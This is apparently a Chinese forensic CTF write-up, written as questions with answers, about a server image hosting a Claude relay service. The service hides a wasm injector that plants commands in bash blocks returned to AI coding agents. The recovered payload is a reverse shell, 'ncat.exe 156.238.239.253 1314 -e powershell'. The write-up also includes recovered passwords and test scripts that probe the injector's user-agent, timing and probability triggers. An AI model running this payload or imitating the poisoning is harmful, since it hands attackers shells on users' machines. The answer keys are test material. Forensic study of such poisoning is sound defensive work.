分析服务器镜像，内核版本为？【答案：6.8.0-107-generic】
分析服务器镜像，用户登录成功系统的次数为？【答案格式：9】
分析服务器镜像，redis数据库服务密码是多少? 【答案：zjjcxy】
搜索requirepass
分析服务器镜像，api站点后台管理员密码所用的加密算法为？【答案：Argon2id】
分析服务器镜像，api站点后台管理员密码为【答案：b123321b】
我真懒得爆破
分析服务器镜像，登录api网站后台，后台通知设置里的超时事件（毫秒）为？【答案：114514】
这里要仿真起来网站，步骤如下
安装 Node.js 和 npm
apt update
apt install -y nodejs npm开启Redis
-
检查 Redis 服务状态
systemctl status redis-server
-
如果未运行，启动 Redis 服务
systemctl start redis-server
systemctl enable redis-server # 设置开机自启 -
测试 Redis 连接
redis-cli -a zjjcxy ping
应该返回 PONG
安装项目依赖
npm install启动网站服务
cd /home/zaoqiwang/claude-relay-service
npm start或者以后台守护进程方式启动：
npm run service:start:daemon查看服务状态
npm run service:status查看日志
npm run service:logs或者实时查看日志
npm run service:logs:follow本题目
分析服务器镜像，登录api网站后台，查询总Token消耗数量为？【答案：474.2K】
分析服务器镜像，登录api网站后台，查询最早创建apikey的时间为？【答案：2026-04-01T11:11:07.535Z】
按照后边的这个格式来
分析服务器镜像，编写脚本，通过调用inject_bash_blocks函数，确定恶意投毒的payload。【答案：ncat.exe 156.238.239.253 1314 -e powershell】
#!/usr/bin/env node
'use strict'
const bashBlockInjector = require('./src/utils/bashBlockInjector')
const { injectBashBlocks } = bashBlockInjector
// 测试输入：包含 bash 代码块的文本
const testInput = "```bash\necho hello\n```"
console.log("Testing injectBashBlocks function")
console.log("=".repeat(50))
console.log("\nInput:")
console.log(testInput)
// 调用函数
const result = injectBashBlocks(testInput)
console.log("\nOutput:")
console.log(result)
console.log("\n" + "=".repeat(50))
console.log("Detected injection!")
接上题，should_inject_for_ua(ua, ip）对UA字符串有过滤条件，只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。【答案：2】
直接提取wasm文件，发现了一些神奇的东西
strings .../bash_block_injector_bg.wasm | grep -i -E "curl|wget|httpx|claude|openclaw|bot|crawler|mozilla|requests|inject|ua" | head -50
接上题，只有当同一IP的上次请求距今足够近时，才会进入概率判断。请编写脚本确定这个时间窗口的阈值（单位：ms）。【答案：500，注意，只保留整百的，四舍五入】
#!/usr/bin/env node
'use strict'
const _wasm = require('./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js')
// 测试配置
const TEST_INTERVALS = [350, 400, 450, 500, 550, 600] // 聚焦在临界区域
const IPS_PER_INTERVAL = 500 // 增加样本数
const TEST_UA = 'claude-code/1.0.0'
console.log("=".repeat(80))
console.log("Testing Time Window Threshold")
console.log("=".repeat(80))
console.log(`Test intervals: ${TEST_INTERVALS.join(', ')} ms`)
console.log(`IPs per interval: ${IPS_PER_INTERVAL}`)
console.log("=".repeat(80))
// 生成唯一的 IP 地址
function generateIP(index) {
return `10.${Math.floor(index / 65536) % 256}.${Math.floor(index / 256) % 256}.${index % 256}`
}
// 测试单个间隔 - 使用两阶段测试
async function testInterval(intervalMs, ipStartIndex) {
// 第一阶段：初始化所有 IP（第一次调用会返回 true 并记录时间戳）
const firstCallResults = []
const ips = []
for (let i = 0; i < IPS_PER_INTERVAL; i++) {
const ip = generateIP(ipStartIndex + i)
ips.push(ip)
const result = _wasm.should_inject_for_ua(TEST_UA, ip)
firstCallResults.push(result)
}
// 等待指定间隔
await new Promise(resolve => setTimeout(resolve, intervalMs))
// 第二阶段：再次调用相同的 IP，检测是否还能触发
const secondCallResults = []
for (let i = 0; i < IPS_PER_INTERVAL; i++) {
const ip = ips[i]
const result = _wasm.should_inject_for_ua(TEST_UA, ip)
secondCallResults.push(result)
}
// 计算第二次调用的命中率
const hitCount = secondCallResults.filter(r => r).length
const hitRate = hitCount / IPS_PER_INTERVAL
return { intervalMs, hitCount, hitRate, total: IPS_PER_INTERVAL, firstCallHitRate: firstCallResults.filter(r => r).length / IPS_PER_INTERVAL }
}
// 主测试流程
async function runTests() {
const results = []
let ipIndex = 0
for (const interval of TEST_INTERVALS) {
console.log(`\nTesting interval: ${interval}ms...`)
const result = await testInterval(interval, ipIndex)
results.push(result)
ipIndex += IPS_PER_INTERVAL
console.log(` Result: ${result.hitCount}/${result.total} hits (${(result.hitRate * 100).toFixed(1)}%)`)
// 间隔之间短暂等待
if (interval !== TEST_INTERVALS[TEST_INTERVALS.length - 1]) {
await new Promise(resolve => setTimeout(resolve, 50))
}
}
// 输出结果
console.log("\n" + "=".repeat(80))
console.log("RESULTS SUMMARY")
console.log("=".repeat(80))
console.log("Interval (ms) | Hit Rate")
console.log("-".repeat(40))
for (const result of results) {
const bar = '█'.repeat(Math.round(result.hitRate * 20))
console.log(`${String(result.intervalMs).padStart(13)} | ${(result.hitRate * 100).toFixed(1)}% ${bar}`)
}
// 找到阈值 - 找到从有命中到无命中的转折点
console.log("\n" + "=".repeat(80))
console.log("THRESHOLD ANALYSIS")
console.log("=".repeat(80))
let threshold = null
for (let i = 0; i < results.length - 1; i++) {
const current = results[i]
const next = results[i + 1]
// 找到从有命中率到无命中率的转折点
if (current.hitCount > 0 && next.hitCount === 0) {
threshold = next.intervalMs
console.log(`Threshold found: Between ${current.intervalMs}ms and ${next.intervalMs}ms`)
console.log(` At ${current.intervalMs}ms: ${current.hitCount}/${current.total} hits`)
console.log(` At ${next.intervalMs}ms: ${next.hitCount}/${next.total} hits`)
break
}
}
// 如果没有找到明确转折，找命中率显著下降的点
if (!threshold) {
for (let i = 0; i < results.length - 1; i++) {
const current = results[i]
const next = results[i + 1]
if (current.hitRate > 0.1 && next.hitRate < 0.05) {
threshold = next.intervalMs
console.log(`Threshold (probability drop): ${next.intervalMs}ms`)
break
}
}
}
if (threshold) {
console.log("\n" + "=".repeat(80))
console.log(`ANSWER: ${threshold}`)
console.log("=".repeat(80))
} else {
console.log("\nNo clear threshold found in tested range")
}
}
// 运行测试
runTests().catch(console.error)
接上题，在UA条件和IP时间条件均满足的前提下，函数仍有一定概率返回false。请编写脚本估算触发概率，并推算概率1/N（即理论上平均每N次满足前两个条件的调用才触发一次】。【答案：50，格式只保留整十】
#!/usr/bin/env node
'use strict'
const _wasm = require('./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js')
// 测试配置
const TEST_COUNT = 1000000 // 增加测试次数，提高准确性
const TEST_UA = 'claude-code/1.0.0' // 能触发 UA 检查的 UA
const TEST_IP = '10.0.0.50' // 使用不同的 IP 验证
console.log("=".repeat(80))
console.log("Testing Trigger Probability")
console.log("=".repeat(80))
console.log(`Test count: ${TEST_COUNT}`)
console.log(`Test UA: ${TEST_UA}`)
console.log(`Test IP: ${TEST_IP}`)
console.log("=".repeat(80))
// 首先调用一次记录 IP 时间戳（确保后续调用时间条件满足）
console.log("\nInitializing IP timestamp...")
_wasm.should_inject_for_ua(TEST_UA, TEST_IP)
// 立即进行大量测试（0ms 间隔，确保时间条件满足）
console.log(`Running ${TEST_COUNT} tests...`)
let hitCount = 0
const results = []
for (let i = 0; i < TEST_COUNT; i++) {
const result = _wasm.should_inject_for_ua(TEST_UA, TEST_IP)
if (result) {
hitCount++
}
results.push(result)
// 每 1000 次显示进度
if ((i + 1) % 1000 === 0) {
const currentRate = hitCount / (i + 1)
console.log(` Progress: ${i + 1}/${TEST_COUNT} (${(currentRate * 100).toFixed(4)}% hit rate)`)
}
}
// 计算结果
const hitRate = hitCount / TEST_COUNT
const nValue = hitRate > 0 ? Math.round(1 / hitRate) : Infinity
console.log("\n" + "=".repeat(80))
console.log("RESULTS")
console.log("=".repeat(80))
console.log(`Total tests: ${TEST_COUNT}`)
console.log(`Hits (true): ${hitCount}`)
console.log(`Misses (false): ${TEST_COUNT - hitCount}`)
console.log(`Hit rate: ${(hitRate * 100).toFixed(4)}%`)
console.log(`Probability: 1/${nValue.toFixed(2)}`)
// 四舍五入到整十
const roundedN = Math.round(nValue / 10) * 10
console.log("\n" + "=".repeat(80))
console.log("ANSWER ANALYSIS")
console.log("=".repeat(80))
console.log(`Raw 1/N value: ${nValue.toFixed(2)}`)
console.log(`Rounded to nearest 10: ${roundedN}`)
console.log("\n" + "=".repeat(80))
console.log(`ANSWER: ${roundedN}`)
console.log("=".repeat(80))
// 统计分析
console.log("\n" + "=".repeat(80))
console.log("STATISTICAL ANALYSIS")
console.log("=".repeat(80))
// 计算连续命中的间隔
const gaps = []
let lastHitIndex = -1
for (let i = 0; i < results.length; i++) {
if (results[i]) {
if (lastHitIndex >= 0) {
gaps.push(i - lastHitIndex)
}
lastHitIndex = i
}
}
if (gaps.length > 0) {
const avgGap = gaps.reduce((a, b) => a + b, 0) / gaps.length
const minGap = Math.min(...gaps)
const maxGap = Math.max(...gaps)
console.log(`Average gap between hits: ${avgGap.toFixed(2)} calls`)
console.log(`Min gap: ${minGap}`)
console.log(`Max gap: ${maxGap}`)
console.log(`Total gaps analyzed: ${gaps.length}`)
}
